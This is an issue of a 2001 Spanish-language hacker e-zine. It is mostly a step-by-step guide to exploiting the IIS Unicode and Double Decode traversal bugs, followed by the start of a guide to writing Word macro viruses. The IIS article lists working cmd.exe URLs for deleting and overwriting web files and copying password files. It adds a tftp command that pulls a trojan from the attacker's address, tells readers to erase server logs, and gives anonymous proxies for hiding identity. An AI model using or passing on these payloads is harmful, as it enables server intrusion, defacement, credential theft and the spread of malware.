 +--------------------------------------------------------------------------+
 |   Esta Edicion esta Dedicada a todas las personas que murieron en el     |
 |       Atentados Terroristas del Martes 11 de Septiembre del 2001         |
 +--------------------------------------------------------------------------+
      _____            _____           _______
     / ___ \ _____  _ / ___ \ _ ___   /   _   \____    ___   _ __ ___
    | |  /| |  _  \[_] |  /| | '__ \  |_/| |\_|  __\ /  _  \| '_ ' _ \ 
    | | / | | [_] /| | | / | | |  | |    | |  | [_  |  [_]  | | | | | |
    | |/__| |  _  \| | |/__| | |  | |    | |  | [___|   _   | | | | | |
     \_____/|_| \_\|_|\_____/|_|  |_|    |_|  |_____/\_| |_/|_| |_| |_|
        _         _
       | |       | |___  _ ___ ____  ______ _   _ ____  _     ____
        \ \     / /  __\| '_  |  __\/__   /| | | |  __\| |   /  _  \
         \ \   / /| [_  | | | | [_    /  / | | | | [_  | |  |  [_]  |
          \ \_/ / | [___| | | | [___ /  /__| |_| | [__ | |__|   _   |
           \___/  |____/|_| |_|____/|______|\___/\____/|____|\_| |_/

                 Cuando ser feliz no lo es todo en la vida  ;)

                        Numero 3 - Noviembre del 2001


 +--------------------------------------------------------------------------+

                            -=[  Disclaimer  ]=-

     Toda la informacion que contiene esta revista se publica unicamente
     con fines educativos, el mal uso de la misma no sera en ningun caso
     responsabilidad del editor ni de alguno de los miembros del staff o
     colaboradores. 0ri0n Team Venezuela no  se hace responsable por los
                comentarios/articulos escritos en esta Revista.
                 

        Se han eliminado los caracteres especiales y en el caso de la
                       "ENIE" se ha suplantado por ~ .


          Se Recomienda usar el Edit del DOS o el Editor del Midnight 
	     Commander en Linux para la lectura de esta Revista.


 +--------------------------------------------------------------------------+

                         -=[   Web Oficial   ]=-                        
                                                                         
                    http://pleyades.sourceforge.net   
                   
 +--------------------------------------------------------------------------+
 
                  -=[  Canal Oficial en el IRC (irc.dal.net)  ]=-
                         
                                    #otv
                   
                   -=[  Otro Canale en el IRC (Dal.net)  ]=-
 
                                 #LinuxAyuda


 +--------------------------------------------------------------------------+

                       -=[  Staff Oficial E-Zine ]=-

                 El_Max_5          <==>   maxz-5@cantv.net
		 ElReviron         <==>   elreviron@yahoo.com
                 Mr. kl0nk Manson  <==>   kl0nk@uole.com.ve
                 ShAd0w5           <==>   shadow5@uole.com



                       -=[  Staff Oficial 0ri0n ]=-

   	         
		  http://pleyades.sourceforge.net/staff.php
		 


                           -=[  Colaboradores  ]=-

                 
		 Capone            <==>     mafioso@cantv.net
		 Ernesto Hernandez <==>
		 Honoriak          <==>     honoriak@mail.ru
		 KeRuBiN           <==>     keru@mail.ru
		 LiteSYS           <==>     liteno2@softhome.net
		 Maquiavelo        <==>     xakermaquiavelo@hotmail.com
		 MindLock          <==>     mindloco@tutopia.com
		 
		 		 

 +--------------------------------------------------------------------------+

                             -=[  Saludos a ...  ]=-


 Por Nick: VMedina-Linux, DarkDeath, Darkgrave, Kasiki, EleKtr0, WolfHack,
           MerlinX, El_Hechizero, DrAk0, Kliber,  NuKeLiTe, roots, SquOnk, 
	   tito_c,  ^Jess^,  Inouttime,   VbxSys,  ElNomis, Supreme, Ca0s,   
	   Kiwwi  Ramirez,   MaU, _CyRaNo_, x0rDeath, CyberRider, Kacimiro 
	   &  Vil  Roach,   venomous,   Kralj,  locomIRC,  Vaselin, Tekken 
	   Melocotoff,  Bruj0,  [RaFa],  QQMelo,  Q-Qaz, HomeRoBot, DDiego,
	   Marco Guns, ElReviron, GodPod, z3ta. Si usted  no  esta  en  la 
	   lista, entonces  envienos  un   email  a  /dev/null  con titulo 
	   [Yo quiero estar en la Lista de Saludos] 
 
 Por Team: http://www.hven.com.ve               (HVEN Seguridad)
 	   http://www.xakercentral.com          (Xaker Team)
           http://www.set-ezine.org             (SET E-Zine)
	   http://www.est.cl                    (Electron Security Team)
	   http://www.disidents.int-ltd.com     (Disidents Team)
	   http://www.ezkracho.com.ar           (Ezkracho Team)
	   http://hackercells.galeon.com        (HackersCells - CyberRider)
	   http://www.raza-mexicana.org         (Raza Mexicana Team)
	   http://www.cdlr.org                  (Proyecto R)
           http://svisor.hypermart.net          (Mr. Silence)
           http://raregazz.dkch.net             (RareGaZz Team)
           http://www.kshezine.org              (KSH Team)
	   http://www.dtmf.com.ar/digitalrebel/ (HEH! E-Zine)
	   http://www.netsearch-ezine.com       (NetSearch E-Zine)
	   http://www.linuxayuda.org            (Staff LinuxAyuda.org)
	   http://www.rdcrew.com.ar             (r0tten dev1ce Crew)
	   http://www.world-of-hell.com		(WOH Team)
	   http://www.acidklan.org		(AcidKlan)
	   http://www.lawebera.com/asociados/   (Argggg, Sex Sex Sex)


 Mirror
 0ri0n
 E-zine :  http://www.vanhackez.com             (La Tarberna de VanHackez)
           http://www.zine-store.com.ar         (Zine Store)
	   http://www.x-system.net              (X-System)
	   http://
www.galeon.com/deraiz         (GriNdEr Web Site)
	   http://
www.elhacker.net              (ElHacker.Net)
	   http://www.area54.4all.com.ar	(Area 54)
	   http://www.disidents.int-ltd.com     (Disidents)


 Frases
 Celebres
 del Staff > Se le cae la madre a ese HomeroBot            - kl0nk
           > La Cuestion no es pensar como un virus
	     sino como un ejecutable                       - Inouttime
           > Mi Quake3 parece una verga extra~a            - ShAd0w5
	   > Se me olvido en password de mi correo         - ElReviron
	   > Mmmm, ASM ASM ASM, que ricoooo                - Chica4xs
           > Viva 3D Studio, me  salvo la vida en 
	     en la Catedra de Computacion Grafica          - Vbxsys
           > Programar en Java es como ver a Dios y no 
	     morir nunca.                                  - El_Max_5

  

 +--------------------------------------------------------------------------+
           C o n t e n i d o                               A u t o r
 +--------------------------------------------------------------------------+
    
 [ 3x00 ] Portada
 [ 3x01 ] Editoria                                         El Editor
 [ 3x02 ] Mi Amigo el Unicode/Decode                       Mr. kl0nk Manson
 [ 3x03 ] Guia de Virus Macro Word                         LiteSYS
 [ 3x04 ] Como programar en C en muchos pasos (III)        El_Max_5
 [ 3x05 ] Manejando SQL (II Parte)                         ShAd0w5
 [ 3x06 ] Programacion en PHP/MySQL                        Mr. kl0nk Manson
 [ 3x07 ] Guia de Gusanos VBS                              LiteSYS
 [ 3x08 ] Escribiendo exploits basados en Buffer OverFlow  Honoriak
 [ 3x09 ] Software Libre: Ser gratis es la menos           Ernesto Hernndez-Novich
          importante de las ventajas
 [ 3x10 ] Articulos Varios
  < 3x10a > Tutorial para el Principiante en TCL           Mindlock
  < 3x10b > Montando un Proxy con Squid                    Mr. kl0nk Manson
  < 3x10c > Seguridad en Tarjetas de Credito Visa          KeRuBiN
  < 3x10d > Tutorial de Iptables                           Maquiavelo
  < 3x10e > DVD's                                          Capone
  < 3x10f > Quotas del IRC                                 0ri0n Staff
 [ 3x11 ] Casos de la vida real                            0ri0n Staff
 [ 3x12 ] Comentarios, Sugerencias, Otros                  0ri0n Staff 
 [ 3x13 ] Seccion de Software                              0ri0n Staff
 [ 3x14 ] Proyectos Varios                                 0ri0n Staff
 [ 3x15 ] Seccion Anti-Stress                              0ri0n Staff
 [ 3x16 ] Edicion Especial: Aniversario de 0ri0n           Mr. kl0nk Manson
 [ 3x17 ] Llaves PGP                                       0ri0n Staff
 [ 3x18 ] Fuente de Extract                                0ri0n Staff
 [ 3x19 ] Esto es todo amigos ...                          El Editor
 
 +--------------------------------------------------------------------------+



--EOF--

-[ 3x01.txt ]----------------------------------------------------------------
-[ Editorial ]------------------------------------------[ Mr. kl0nk Manson ]-
-------------------------------------------------------[ kl0nk@uole.com.ve ]-

 Hi People's!!!!.

 Aqui  estamos  de nuevo  con ustedes,  nuestros  lectores, con  la tercera
 entrega de este Magazine Venezolano llamado 0ri0n E-Zine.
 
 Pues les cuento de que proximamente tendremos competencia en nuestro pais,
 con la nueva apertura de las telecomunicaciones empezaran a formarse teams
 y  teams, solo  esperamos  que  estos  grupos  den  la  talla  y  no sigan 
 ensuciando nuestro nombre. 
 
 En  estos  momentos  Venezuela  se esta empezando a recuperar, tanto fisica 
 como economicamente, gracias a  las buenas relaciones que tenemos con otros
 paises. Lo unico  lamentable fue el ataque a EUA por un grupo de terroritas
 Arabes, el  gobierno  Venezolano  esta  Neutro  porque  como  somos un pais 
 subdesarrollado  podriamos  tener  grandes  problemas  al  decidir  a  cual 
 apoyamos, de lo  unico que  si estamos claro es que NO apoyamos ningun tipo 
 de ataque donde hallan tantas muertes por un simple capricho. Muchos Hacker
 han atacado sitios Arabes para manifestar su gran Dolor y Sufrimiento.
 

 Esta edicion ha salido un poco atrazada (digamos que mucho), esto es porque
 como nos cayo el "Summer 2001" muchos de nuestro staff se fue de Vacaciones
 y   se   desconectaron   del   grupo, pero  ahora  nos  estamos  nuevamente 
 incorporando. Hace unos dias (especificamente el 16/07), despues de una LAN
 Party entre el Staff, se tomaron  muchas deciciones y en las cuales una fue
 sobre este Zine, en el cual no se  tendra fecha para su liberacion, esto es
 por el poco tiempo que disponemos la mayoria de nuestro grupo, pero si quedo
 en claro que se seguiran editando  numeros  pero  no  con  la frecuencia de 
 antes,  se  calcula que  el tiempo entre numero y numero es de  4  meses  a 
 6 meses. Tambien 0ri0n  ha  sufrido cambios, entre los cuales  fue  el  que 
 Pestilencia  y  P-Drok-Array  han  decidido  salirse del grupo, ahora somos
 pocos y tendramos mas trabajo de lo normal.
 
 Para este numero tenemos  la  tercera  entrega  de el curso de programacion
 en C,  la  segunda  parte  de  como  Manejar  el  SQL,  tambien  un peque~o 
 articulo comlementario de como combinar  el PHP/MySQL, Una  peque~ita  guia 
 de TCL, el como montar un Servidor Proxy  con  Squid, tambien  sobre el bug 
 que esta de moda, el de Unicode/Decode, una traduccion hecha  por  honoriak 
 sobre  como  escribir  exploits  basados  en  buffer overflow, Seguridad en 
 Tarjetas  de  Credito  Visa,  Guia de Virus Macros en Word, Gusanos en VBS,
 un excelente articulo de opinion sobre el Software Libre, etc.
 
 Ufff, tambien nos  han  llegado Muchos Comentarios, y ustedes podran leerlo
 en el articulo 3x12.txt ... ahhh y no dejen de leer el articulo 3x14 que es
 el de proyectos varios.
 
 Bueno, ahora relajesen un  poco y esperamos  que  les  guste  esta  tercera
 edicion de 0ri0n Magazine.
 

 --Mr. kl0nk Manson



--EOF--


-[ 3x02.txt ]----------------------------------------------------------------
-[ Mi Amigo el Unicode/Decode ]-------------------------[ Mr. kl0nk Manson ]-
-------------------------------------------------------[ kl0nk@uole.com.ve ]-

-> sb abr 28 23:25:43 VET 2001 <-


  Indice General:
  ---------------

  1. Introduccion.
  2. Que es Unicode.
  3. Herramientas.
     a.- URL Scanner.
     b.- Uniconsole.
     c.- IISuni.

  4. Listado de Comandos.
     a.- Crear Directorio.
     b.- Crear Archivo.
     c.- Borrar Archivo.
     d.- Copiando Archivos.
     e.- Subiendo Archivos.

  5. Variaciones de esta Vulnerabilidad.
  6. Protegiendo nuestro servidor.
  7. Lo nuevo ... Decode
     a.- Variaciones del Decode

  8. Regalo para los Lectores.
  9. Links Relacionados.
 10. Conclusiones y Agradecimientos.


  1. Introduccion:
     -------------
  
  Este texto lo escribi con la finalidad de dar a conocer  lo  referente al 
  bug que sufren muchos servidores que trabajan bajo Windows NT. No me hago
  responsable de lo que TU hagas o dejes de hacer con este paper.
  
  
  2. Que es Unicode
     --------------
  
  El Unicode  (en el caso de Windows NT), es  un  bug que  afecta  al  IIS
  (Internet Information Server), y con este bug podemos ejecutar cualquier
  comando del DOS (cmd.exe) via Web. El  Bug  consiste  en  que  nosostros 
  introduciendo una serie de comandos  en el URL  de  la  victima  podamos
  visualizar su estructura de directorios, podemos crear archivos, borrar,
  subir archivos al servidor, etc.
  
  Esto  recibe  este  nombre, ya que esta serie de comandos  traducen los 
  caracteres  especiales  de  acuerdo  a  la  configuracion internacional 
  conocida como Unicode.

  Por ejemplo, si  llegamos  a  encontar X servidor vulnerable a este bug 
  podemos introducir:
  
  http://www.victima.com/datos/..%c1%9c../passwd.pwd

  Este  sera  evaluado  por  el  IIS  y  este creera que  el atacante esta
  solicitando  un  archivo  del  directorio  virtual "/datos",  intentando 
  encontrar dentro de este un subdirectorio llamado ..%c1%9c.. y dentro de 
  el, el archivo passwd.pwd.
  
  
  El         IIS        interpretaria      que      el      pedido      de 
  http://www.victima.com/datos/..%c1%9c../passwd.pwd  es  local y buscaria
  en c:/inetpub/wwwroot/datos/../../passwd.pwd

  
  Tambien podemos pasarle argumentos al este bug para  que  nos ejecute el
  command.com (en  NT  es cmd.exe), tambien podemos indicarle en que disco 
  duro debe buscarlo y que queremos ver. Por ejemplo:
  
  http://www.victima.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:
  
  Donde  /winnt/system32/cmd.exe  es  la  ubicacion donde esta el cmd.exe,
  con el parametro ?/c+dir+c le estamos indicando que ejecute  el  comando 
  dirdentro del cmd.exe y que visualice  el  disco  duro  que esta  e n la 
  unidad "c",  y como respuesta obtenemos el listado de el disco c:
  


  3. Listado de Comandos
     -------------------  
  
  NOTA: Esto  pueder  variar  (por ejemplo en vez  de c+dir+c: puede  ser
        c+dir+d: ,  c+dir+e:  ,  etc). Tambien  la  ruta  de  los scripts
	vulnerables (Ver la lista de Variaciones).
  


  a.- Crear Directorio: 
      -----------------
  
  http://www.victima.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/
  c+md+c:\
ERES_LAMER
 
  
  b.- Crear Archivo
      -------------
  
  http://www.victima.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/
  c+echo+Este_Servidor_Sufre_El_Bug_de_UniCode+>c:\
inetpub\wwwroot\index.html

  c.- Borrar Archivo
      --------------
  
  http://www.victima.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/
  c+del+c:\
inetpub\wwwroot\index.html


  d.- Copiando Archivos
      -----------------
  
  http://www.victima.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy
  c:\winnt\passwords.pwd
+c:\inetpub\wwwroot

  Luego nos los bajamos de  http://www.victima.com/passwords.pwd


  e.- Subiendo Archivos:
      -----------------

  Para  ello  necesitaremos  un  proxy y el TFTP (Trivial FTP),  luego  de
  haberlo instalado en nuestra maquina simplemente colocamos:
  
  tftp.exe -i 192.168.0.1 GET super-h4xor-troyano.exe 
  
  Donde 192.168.0.1 es nuestra IP.
  
  NOTA: Cuando subimos un archivo queda un registro de lo que hemos hecho,
        por lo tanto debemos borrar el archivo de historial que normalmente
	se  encuentra  en  c:/winnt/system32/logfiles/  (los  archivos  de 
	historial tienen extenciones .log). 
  
  

  4. Variaciones de esta Vulnerabilidad
     ----------------------------------
  
  Puede ser que los ejemplos anteriores no les funciones porque  este bug 
  se encuentra en otra parte del servidor, para ello les dejo  una  lista 
  de varios directorios donde se pueden encontar este bug.
  
  /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
  /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
  /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
  /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
  /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\
  /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
  /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir +c:\
  /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/
cmd.exe?/c+dir+c:\
  /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/
cmd.exe?/c+dir+c:\
  /iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/
cmd.exe?/c+dir+c:\



  
  5. Herramientas
     ------------
  
  Entre las Herramientas mas poderosas para detectar servidores vulnerables
  podemos encontar:
  

  a.- URL Scanner:
      ------------

  Es  una  utilidad  escrita  por  la gente de SSH Team y esta es capaz de 
  encontrar servidores vulnerables al bug del Unicode dando un amplio rango 
  de IP's a escanear. Plataforma: Windows 9x


  b.- Uniconsole
      ----------

  Esta es una herramienta (tambien escrita por la gente de SSH) que permite
  explotar el bug casi como si se tratase de una linea de comandos de  DOS, 
  pero con una gran ventaja, que nos podemos conectar a un servidor  proxy
  y asi quedar anonimo. Plataforma: Windows 9x
  

  c.- IISuni
      ------
      
  Esta fue escrita por zipo y es una que corre bajo cualquier Unix, a este
  exploit  le  podemos  definir  un  servidor  Proxy  para ocultar nuestra 
  identidad.
  
  NOTA: Estas Herramientas estan incluidas al final de este paper (UUEncode)



  6. Protegiendo nuestro servidor 
     ----------------------------
  
  Estos son los pasos a seguir para protegerse de este bug.
 

  a.- Eliminar todos los directorios virtuales (scripts, msadc, iisadmpwd,
      etc).
  b.- Quitar  a  todos  los  directorios  que  lo  tengan  el  permiso de
      ejecucion    de   CGI's   e  ISAPI,  dejando  solo  el  permiso  de
      ejecucion de scripts. 
  c.- Quitar  todo  permiso  de escritura al usuario dentro de wwwroot, y 
      todo  permiso  (lectura  y  escritura)  fuera  de  ese   arbol   de 
      directorios.
  d.- Instalar  Windows  NT  y  los  directorios  compartidos  en lugares
      diferentes de los que vienen por defecto.
  e.- Cambiar el nombre al archivo cmd.exe
  f.- Utilizar cualquier derivado de Unix (Linux, FreeBSD, OpenBSD, Etc) y 
      como servidor web tener Apache Instalado (RECOMENDADO).


  7. Lo Nuevo ... Decode
     -------------------
  
  Hace tiempo la Gente de NSFOCUS anuncio un nuevo fallo con riesgo mayor
  al del Unicode, la cual afecta a Servidores Bajo NT/2000 que tengan
  corriendo como servidor Web el IIS 4/5, en el cual, cualquier persona
  introduciiendo unos comandos en el URL puede tener acceso remoto.
  
  Este bug funciona de la siguiente forma:

  http://www.victima.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

  

  a.- Variaciones del Decode
      ----------------------

  Aqui les dejo la Variaciones que tiene el Decode:
 
 
  /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
  /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+d
ir+c:\
  /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
  /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c
+dir+c:\
  /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
  /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
  /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
  /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+d
ir+c:\
  /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
  /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\
  /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
  /MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
  /MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
  /MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
  /MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c
+dir+c:\
  /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+di
r+c:\
  /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+di
r+c:\
  /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd
.exe?/c+dir+c:\
  /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/sy
stem32/cmd.exe?/c+dir+c:\
  /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
  /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
  /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
  /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
  /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
  /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
  /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
  /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+di
r+c:\
  /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+di
r+c:\
  /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd
.exe?/c+dir+c:\
  /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/sy
stem32/cmd.exe?/c+dir+c:\
  /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c
+dir+c:\
  /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c
+dir+c:\
  /iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?
/c+dir+c:\
  /_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/
c+dir+c:\
  /adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+dir+c:\
  /scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\
  /scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\
  /scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\
  /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\
  /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\


  8. Regalo para los Lectores
     ------------------------

  Aqui les dejo una lista de Servidores Proxy Anonimos que puedes utilizar
  en el momento de hacer cualquier cosita de estas. Esta lista es incluida
  aqui  gracias  a mi  Amigo MindLock. Por Favor no abusar de ellos ya que 
  pueden ser clausurados por abuso.
  
  cache01.vsat.net:3128 
  ts.vsat.net:8080 
  cache02.vsat.net:8080 
  netcache.megalink.net:3128 
  eunice.clifton.ca:80 
  N2H2.sisna.com:80 
  195.240.133.121:80 
  ch3smc.bellglobal.com:80 
  63.76.58.130:8080 
  ce1.paonline.com:3128 
  proxy1.hedge.org:8080 
  159-18.ri.cgocable.ca:80 
  194.80.225.5:80 
  elpxy01.ce.mediaone.net:8080 
  195.219.50.243:80 
  mailgate.btmldn.com:80 
  ch3blm.bellglobal.com:80 
  webmail.artsfb.org.uk:80 
  32.97.206.130:80 
  elpxy02.ce.mediaone.net:8080 
  cache02.vsat.net:80 
  mail.callsunshine.com:80 
  SPPN_SVR.sppn.com:80 
  vml-ntserver1.vml.lib.mi.us:80 
  local252.12-17-14.itech.net:80 
  211.61.250.248:80 
  masterman.stc.ac.uk:80 
  194.25.113.243:80 
  kvisl.strengur.is:80 
  smtp.mcneiltech.com:80 
  195.61.76.63:80 
  195.231.101.139:80 
  icaro.cool.co.cr:80 
  211.61.251.248:80 
  195.70.174.22:80 
  195.215.149.51:80 
  194.182.173.76:3128 
  203.160.224.66:80 
  195.122.135.117:80 
  mail.nhisb.gov.tw:8080 
  www.msund.is:80 
  stefan.is.uw.edu.pl:80 
  195.224.112.35:80 
  193.15.238.100:80 
  www-cache.piramk.fi:80 
  195.127.175.50:80 
  195.229.214.67:80 
  dns.kitacom.co.jp:80 
  www.badpublicity.be:80 
  195.215.134.226:80 
  195.238.207.1:80 
  195.251.20.32:80 
  wel-cache.cache.telstra.net:3128 
  195.103.124.8:80 
  exchng.hatzi.gr:80 
  www.chania-cci.gr:81 
  206.47.230.2:80 
  12.18.19.122:8080 
  mail.paxarfal.com.hk:80 
  ns.uti.co.jp:80 
  www.ari.gov.cy:80 
  netcache.hawknet.com.au:80 
  mail.contcar.com:80 
  server.intern.xtend-online.de:80 
  195.250.212.79:80 
  195.142.141.200:80 
  194.27.40.20:80 
  200.14.244.194:80 
  netcache6.entelchile.net:80 
  netcache5.entelchile.net:80 
  NAS-213-186-128-252.ixir.com:80 
  ncache02.terra.cl:80 
  ncache04.terra.cl:80 
  ncache01.terra.cl:80 
  200.14.241.174:80 
  cache.net-uno.net:80 
  netcache4.entelchile.net:80 
  sai.isec.pt:80 
  netcache1.entelchile.net:80 
  194.27.53.4:80 
  cache.net-uno.net:8080 
  coryj.ozemail.com.au:8080 
  cpe.atm0-0-0-114159.boanxx1.customer.tele.dk:80 
  netc.hessen.de:3128 
  south.ocs.k12.al.us:80 
  ns01.huembmow.macomnet.ru:80 
  195.101.182.50:80 
  cdb-gw.sibnet.ru:80 
  proxy.informator.se:80 
  195.116.188.254:80 
  bnet1.bangorsd.org:80 
  151.198.195.102:80 
  mail.hacaro.be:80 
  bhtinc.lnk.telstra.net:8080 
  


  9. Links Relacionados
     ------------------
     
     HispaSec        |   http://www.hispasec.com/unaaldia.asp?id=726     
     SecurityFocus   |   http://www.securityfocus.com
     SSH Team        |   http://sshteam.8k.com
     Microsoft       |   http://www.microsoft.com
     Home Page Zipo  |   http://www.sucks.com.ar
     MultiProxys     |   http://www.multiproxy.org
     NSFocus         |   http://www.nsfocus.com



  10. Conclusiones y Agradecimientos
      ------------------------------
  
  Bueno,  hemos llgado al final de este articulo, si  tienen  alguna duda,
  pergunta,  etc. Pueden Hacerla  a  kl0nk@uole.com.ve -  Flames, Basura y 
  otros quimicos enviarlos a /dev/null
  
  Quiero agradecer a Capone, MindLock, Maquiavelo y _CyRaNo_ por motivarme
  a escribir este paper.
  
  
--EOF--


-[ 3x03.txt ]----------------------------------------------------------------
-[ Guia de Virus Macro Word (Para Word 
v.97 y v.2000) ]----------[ LiteSYS ]-
----------------------------------------------------[ liteno2@softhome.net ]-


  Introduccion:
  ~~~~~~~~~~~~~

  Si leyeron el titulo en esta 
peque~a guia explicare como  se programa un 
  virus  macro  de  Word, versiones  97  y 
2000 hasta estos dias  son  las 
  compatibles  con este tipo de virus, los  correspondientes  a  versiones
  anteriores a  la SR-1 son programados de una manera diferente y no seran
  explicados ya que ademas estan obsoletos. 
  
  Conocimientos 
avanzados de VisualBasic son necesarios, y  antes  de nada 
  habria que tomar varias 
cosas en cuenta antes de empezar a leer la guia: 
  
  (a) Los  virus  macro son algo 
realmente trivial, faciles de escribir ya 
  que estan hechos en un lenguaje de 
nivel altisimo (VB). Se debe tener en 
  cuenta que compararlos con los escritos en 
ensamblador son relativamente
  nada, pero  son un buen comienzo para iniciarse en 
el mundo de los virus 
  y  luego  "saltar" a niveles superiores como ensamblador  u  
algun  otro 
  lenguaje de alto nivel. 

  (b) En  esta guia no se mostrara  ni  se explicara  como escribir codigo 
  destructivo, los virus destructivos en estos dias 
carecen  de sentido ya 
  que  se  han visto las (desgraciadas) consecuencias de la 
destruccion de
  informacion. 

  (c) Se original a la hora  de  escribir un virus, 
colocale codigo que en
  realidad  sean  interesantes  para otras personas. Esto lo 
digo debido a 
  que  existen  infinitas  cantidades  de  virus  de  macro  que solamente 
  
infectan y mas nada, como no son originales no se abriran paso en llamar
  la 
atencion a otros escritores de virus. Un ejemplo de  virus  realmente
  original 
puede ser Caligula por Opic, que robaba llaves  PGP del usuario
  infectado, una  
excelente idea, o el algoritmo  de  Worm  de  E-Mail  de 
  Melissa. 
  
  (d) Ten en cuenta 
que las capacidades de que un virus macro salga de una
  maquina y  se  reproduzca 
hacia otras partes se ha visto frustrada desde
  la version SR-1 de Word, debido a 
que cada vez que se carga un documento
  aparece  un  dialogo  advirtiendo  al  usuario 
de que el documento posee 
  macros, esto puede ser eliminado pero luego de la 
ejecucion  del  virus, 
  por lo cual el usuario tendria que haber aceptado la 
ejecucion de macros
  primero. 
  
  (e) Manifiesto que no cargare con ninguna 
responsabilidad  por algun uso
  que se le de a los conocimientos explicados en 
este articulo. Ahora  que
  he dicho lo primero que tenia que  decir, creo  que  seria 
bueno  ir  al 
  grano. Carga tu Microsoft Word (ya dije que debe ser una version > 
97) y
  luego presiona ALT-F11 (si no sirve busca en: Herramientas ==> Macro ==>
  Editor de Visual Basic). Ahi veras varias cosas, primero que nada  en el 
  dialogo  
izquierdo  veras  la  plantilla  Normal  y el Documento Activo, 
  familiarizate con la 
interfaz del  editor  de VB. Veamos la logica de la
  infeccion del virus de macro, 
en  Word, varias  subrutinas  se  ejecutan 
  bajo ciertos "eventos", como lo son: 

  Sub 
AutoOpen()       : Cuando se abre un documento. 
  Sub AutoClose()      : Cuando se cierra un 
documento. 
  Sub Document_Open()  : Cuando se abre un documento. 
  Sub 
Document_Close() : Cuando se cierra un documento. 
  Sub ViewVBCode()     : Cuando se 
carga el editor de Visual Basic (ALT-F11). 
  Sub ToolsMacro()     : Cuando se carga la 
lista de macros (ALT-F8). 

  Entonces, logico   es   que   se   utilizan   AutoOpen(),   
AutoClose(), 
  Document_Open() o Document_Close() para colocar el codigo, 
entonces,  al 
  cargarse un documento infectado este revisa si la plantilla  normal 
esta 
  infectada, si lo esta, entonces continua. Si no lo esta, copia su codigo 
  a 
esta, entonces queda el virus residente en la plantilla normal, por lo 
  cual  cada  
vez  que  se de uno de los eventos anteriormente mencionados 
  esta copiara su 
codigo a todos los documentos que se abran. 
  

  METODO DE INFECCION POR MODULOS  
  -------------------------------

  Consiste  en  a~adir  su  codigo a traves de modulos de codigo, para ver 
  como  va  un  modulo  metete  en Insertar ==> Modulo, ahi 
puedes colocar 
  codigo. 
  
